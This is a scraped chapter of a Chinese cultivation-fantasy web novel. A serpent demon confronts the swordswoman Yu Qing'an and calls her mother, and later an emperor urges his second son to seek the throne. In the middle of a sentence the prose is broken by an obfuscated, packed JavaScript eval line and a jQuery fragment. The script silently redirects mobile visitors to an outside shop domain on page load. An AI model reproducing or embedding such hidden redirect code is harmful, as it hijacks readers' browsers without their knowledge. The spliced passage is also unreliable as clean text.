山峦之间的树木,本该给人欣欣向荣之感,可却因魔气缭绕的缘故,总让人觉得有些许阴凉。
午后阳光透过树叶间的缝隙,在地上投射出奇形怪状的光影,落在本就色彩鲜艳的花草上,显得有些斑驳陆离。
“此处静得有些诡异。”于清安淡声说,一阵风吹来,把她的声音带着撞到了山崖壁,悠悠回荡在此处。
“嗯。”白倾寒步伐沉稳地走在她的身旁,精神力外放,一寸一寸铺展而开,“此地并无邪物现世的迹象。”
两人保持着恰到好处的距离,既不显得亲近,亦不显得生疏。
一阵阴风拂着树梢而来,异样的气息在空中弥漫,于清安和白倾寒脚步齐停,抬头就见不远处的树上有一团魔气缓缓凝聚,最终化作了一个黑衣女子。
“于清安,你又换男人了?”女子轻盈地站在那树枝上,瞥了一眼白倾寒,竖瞳里带着疑惑。
于清安扯了一下嘴角,“无衣。”
这条黑蛟的脑子里缺根筋,第五悸居然把她派来了澜洲。
无衣一手按在树干上,居高临下地看着他们,“你不是说你喜欢那个叫什么白倾寒的吗?为他还多次拒绝了尊上,那现在为何又换了一个?”
白倾寒并未转头望向她,可拢在宽大衣袖下的指节却不自觉地蜷曲起。
也许,真的是他天性迟钝,才会感受不到她的爱意。
“这里的魔气是你投放的?”于清安没心情同她掰扯这些。
“对啊,尊上念叨过你的名字,我想他应该还是喜欢你的,所以我准备来带你回去。”无衣从树上跳了下来,语气自然。
“不过你变了,变得很弱。”无衣皱了一下眉头,脸上的鳞片在日影下流转着独特的七色光泽。
于清安静静地凝视着她,心中有些了然,原来无衣就是江盈口中提到的那个要抓她的人。
“是变弱了,不过杀你,够了。”于清安微抬剑尾。
无衣后退了两步,黑色的竖瞳里流露出一抹难过,“可是我不想和你打。”
“娘亲。”
白倾寒手一抖,转头看向于清安,一向风雨不惊的表情却露显出了一丝难以掩饰的错愕。
于清安表情僵住,当时她一人一系统勇闯魔域的时候,顺手杀了一条七阶的恶蛟,那恶蛟不仅吃人,还会豢养同类,待它们成长到一定程度时,恶蛟便会吞噬同类借以提升自身的修为。
无衣应该就是一条从小被豢养的黑蛟,若是那天她再去晚一点,无衣便会葬身蛟腹,化作它的养分。
那时,在她击杀了恶蛟后,确实有一条半化形的黑蛟口吐人言叫她娘亲。
她当时只瞥了它一眼,一剑劈了地牢,解救了其他人族修士和妖蛟后,便直接走了。
趁着魔域外围大乱,她浑水摸鱼潜入了魔宫,没想到刺杀不了第五悸,反倒是被他抓住并封印了修为。
无聊时听看守她的魔族侍女说,有一条黑蛟闹着要找娘亲,被第五悸收入麾下,赐名无衣。
后来无衣来找过她,她冷脸解释了:“不是来救你的,就一定是你娘。”
无衣在听完她的解释后,当场改口叫她于清安,她还以为她听进去了,但是看现在这情况,她根本没听进去一点。
“你没死我很开心。”无衣接着说。
她最初就是想看看这个叫于清安的长什么,然而,当她来到蔺云城时,她便捕捉到了她独特的气息。
之前听说那个叫什么倾寒的把她抢走后打死了她,她很生气,还想着等她修炼大成后,去吃了他。
于清安看了一眼对方玲珑有致的身段,着实接受不了自己有一个这么大的女儿。
于清安声音微沉:“无衣。”
无衣嘴巴微抿,“好吧,那他是你现在喜欢的人吗?”无衣指着白倾寒,瞳孔横向收缩。
于清安上前一步,嘴角微勾:“对。”
“那我就不抓你回去了。”无衣微歪头,“可是他很奇怪,又弱又强,还没有实体,保护不了你的。”
现在在这里的白倾寒只是他一部分元神所化的分身,确实不算强。
“有我保护他就够了。”于清安的手指轻轻搭在剑柄上,随着清脆的金属摩擦声,她缓缓拔出了重明剑,“之前我就说过,你入了魔,便是站在了我的对立面……”
无衣身体往后一翻,准确无误地落在刚刚的枝干上。
“我才不要和你打。”话落,她的身影便渐渐化作一团雾气,裹挟着林中所有的魔气消失地无影无踪。
于清安的精神力虽然捕捉得到她退去的轨迹,现如今却没有那个能力去追,只能作罢。
白倾寒则有些没反应过来,低头唤了她一声:“清安?”
“是一些误会。”于清安也不知道该怎么说,她把他当成了一个新的攻略对象,并不想同之前的白倾寒扯太多关系。
白倾寒低垂睫毛,也没有再继续追问,只略带平静地说:“我亦可以保护你。”
若是情况危机,舍去这部分元神亦无不可。
-
澜洲,洲都皇城。
御书房内金碧辉煌,殿中有一四脚镂空的古铜色香炉,细烟缭缭,古色古香。
“父皇以阿宁引儿臣来,有何深意?”
何允之的侍卫不合规格,以至于他遇到情况只能向就近的一剑宗求助。
洲都守卫森严,一洲公主却能带着侍卫大摇大摆地偷溜出来。
怎么看,都不像是简单的巧合。
箫崇是放下御笔,抬头看着眼前这个多年不见的二儿子,眼神露出几分满意。
“风姿不逊朕当年啊。”
箫明尘笑笑,“内敛自谦,儿臣一直都记着。”
箫崇微噎,转而问:“来之前去拜见过你母妃了吗?”
“没有。”箫明尘站在御书房的正中央,长身玉立,语气淡淡。
“若是父皇只是想叫儿臣回宫看看母妃,那儿臣便先行告退了。”话虽是这么说着,但箫明尘却没有做出拱手退下的动作。
“宁儿没有和你说过什么吗?”箫崇的眼神沉稳深邃,不笑不怒,也自有一番帝王威仪。
“她什么都说了。”箫明尘嘴角微勾。
无非就是他的大哥和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13189069|133505||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
三弟,因受人挑拨而两败俱伤。
如今太子之位空悬。
可这跟他有什么关系?
“瑜儿,你既然知道了,又还有什么拒绝的理由呢?”
箫明尘失笑一声,箫瑜这个名字他很久没听过了,只记得他的字,箫明尘,箫明臣。
非嫡非长,母族势大,又身怀天灵根,自然受帝王忌惮。
如今叫他回来说这些,是试探他,还是觉得那两个不顶用了,便想起了他?
“儿臣对这件事没有兴趣。”
“所以多年来的飞书,你从来不回。”
箫明尘抬眸对上他的视线:“是没看。”
箫崇呵呵一笑,“你还是这个脾气,没变。”
视线上下打量了一下箫明尘,像普通父亲一样,语气中带着一丝赞许,“元婴期,不错。”
“关于我澜洲与幽洲之间的纷争,儿臣已有所耳闻。如果父皇需要儿臣的力量,儿臣定当不遗余力地提供支持。”箫明尘拱手,并不乐意继续再这里耗着,干脆挑明直言道:“至于太子之位,儿臣并无此心。”
“儿臣先行告退。”
箫崇也不急,不紧不慢地重新手持黑漆描金的紫檀笔,“你难道就不想知道,宁儿为何急着寻找驸马吗?”
箫明尘从袖子间抬起头,上首之人穿着华贵的龙袍,金丝绣边在自然的光线下熠熠生辉,刺眼得很。
“若与幽洲开战,两洲必将民不聊生,天明帝国那边亦难以交代,可若是联姻,便能实现利益的最大化,亦不会被其他洲国坐收渔利……”
最后一笔添上,这副山水图便已算是成型,山是陡峭的,雄鹰高飞崖上,日将出,水面粼粼。
箫明尘脸上笑意渐渐消失,“阿宁才几岁。”
“每个人都身不由己,她身为皇室公主,享受着世间的荣华与富贵,自然也须承担相应的责任,为澜洲做些牺牲而已,又不是要了她的命。”箫崇的话语不急不缓,却透露出一股不容置疑的决断,以至于听起来让人身体不住发寒。
“您是在威胁儿臣吗?”箫明尘缓缓放下袖子,言谈仍然是温和的,透露出良好的教养。
“威胁?”箫崇呵笑一声,放下御笔,“不,这不是威胁,朕这是在告诉你权利的重要性,这个位置,可左右很多人的命运。”
“包括至亲之人?”箫明尘直直地看着他。
“当然。”箫崇没有回避。
箫明尘蓦地低低一笑,胸腔稍震,“可儿臣从来没有学过帝王之术,只会抚琴弄乐。”
“很明显,哪怕你没有长在皇宫,你也比你的皇兄和皇弟都要出色。”箫崇把手负在身后,手无意识地转动着墨绿色的扳指。
“你的母妃把你教养得很好,一剑宗也是。”
箫明尘眼眸微动,像是掀开伪装般,显出几分凌厉来。
一剑宗是他最后的底线。
“这才对嘛,修士的修为再高,终究只是个人之力,唯有手握这至高无上的权力,才能护住你所想要护住的一切东西。所以,你有没有兴趣……”
“成为澜洲下一任的皇?”